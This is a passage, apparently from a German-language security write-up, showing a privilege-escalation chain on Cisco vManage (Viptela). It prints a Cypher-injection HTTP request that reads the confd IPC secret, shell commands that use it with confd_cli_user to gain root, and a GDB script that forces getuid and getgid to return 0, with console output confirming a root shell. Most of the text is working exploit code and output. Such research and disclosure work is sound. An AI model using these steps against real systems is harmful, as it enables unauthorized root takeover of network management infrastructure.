Nachdem wir ein wenig in einigen Dokumentationen zu confd und den verschiedenen Binärdateien (die mit einem Konto auf der Cisco-Website zugänglich sind) gegraben haben, fanden wir heraus, dass zur Authentifizierung des IPC-Sockets ein Geheimnis verwendet wird, das sich in /etc/confd/confd_ipc_secret befindet:
vmanage:~$ ls -al /etc/confd/confd_ipc_secret
-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret
Erinnere dich an unsere Neo4j-Instanz? Sie läuft unter den Rechten des Benutzers vmanage, was es uns ermöglicht, die Datei mit der vorherigen Schwachstelle abzurufen:
GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1
Host: vmanage-XXXXXX.viptela.net
[...]
"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}
Das Programm confd_cli unterstützt keine Befehlszeilenargumente, sondern ruft /usr/bin/confd_cli_user mit Argumenten auf. Daher könnten wir /usr/bin/confd_cli_user direkt mit unserem eigenen Satz von Argumenten aufrufen. Es ist jedoch mit unseren aktuellen Berechtigungen nicht lesbar, daher müssen wir es aus dem rootfs abrufen und mit scp kopieren, die Hilfe lesen und es verwenden, um die Shell zu erhalten:
vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret
vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret
vManage:~$ /tmp/confd_cli_user -U 0 -G 0
Welcome to Viptela CLI
admin connected from 127.0.0.1 using console on vManage
vManage# vshell
vManage:~# id
uid=0(root) gid=0(root) groups=0(root)
Der Blog¹ des Synacktiv-Teams beschrieb einen eleganten Weg, um eine Root-Shell zu erhalten, aber der Nachteil ist, dass es erforderlich ist, eine Kopie von /usr/bin/confd_cli_user zu bekommen, die nur von root lesbar ist. Ich fand einen anderen Weg, um ohne solchen Aufwand zu root zu eskalieren.
Als ich die /usr/bin/confd_cli-Binärdatei zerlegte, beobachtete ich Folgendes:
Ich habe die Hypothese aufgestellt, dass das Programm “confd_cli” die Benutzer-ID und Gruppen-ID, die es vom angemeldeten Benutzer gesammelt hat, an die Anwendung “cmdptywrapper” übergibt.
Mein erster Versuch war, “cmdptywrapper” direkt auszuführen und es mit -g 0 -u 0 zu versorgen, aber es schlug fehl. Es scheint, dass irgendwo auf dem Weg ein Dateideskriptor (-i 1015) erstellt wurde und ich kann ihn nicht fälschen.
Wie im Blog von synacktiv erwähnt (letztes Beispiel), unterstützt das Programm confd_cli keine Befehlszeilenargumente, aber ich kann es mit einem Debugger beeinflussen und glücklicherweise ist GDB im System enthalten.
Ich habe ein GDB-Skript erstellt, in dem ich die API getuid und getgid gezwungen habe, 0 zurückzugeben. Da ich bereits über die “vmanage”-Berechtigung durch die Deserialisierung RCE verfüge, habe ich die Erlaubnis, die /etc/confd/confd_ipc_secret direkt zu lesen.
root.gdb:
set environment USER=root
define root
finish
set $rax=0
continue
end
break getuid
commands
root
end
break getgid
commands
root
end
run
Konsolenausgabe:
vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli
GNU gdb (GDB) 8.0.1
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-poky-linux".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /usr/bin/confd_cli...(no debugging symbols found)...done.
Breakpoint 1 at 0x400f40
Breakpoint 2 at 0x401000Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401689 in ?? ()Breakpoint 2, getgid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401694 in ?? ()Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401871 in ?? ()
Welcome to Viptela CLI
root connected from 127.0.0.1 using console on vmanage
vmanage# vshell
bash-4.4# whoami ; id
root
uid=0(root) gid=0(root) groups=0(root)
bash-4.4#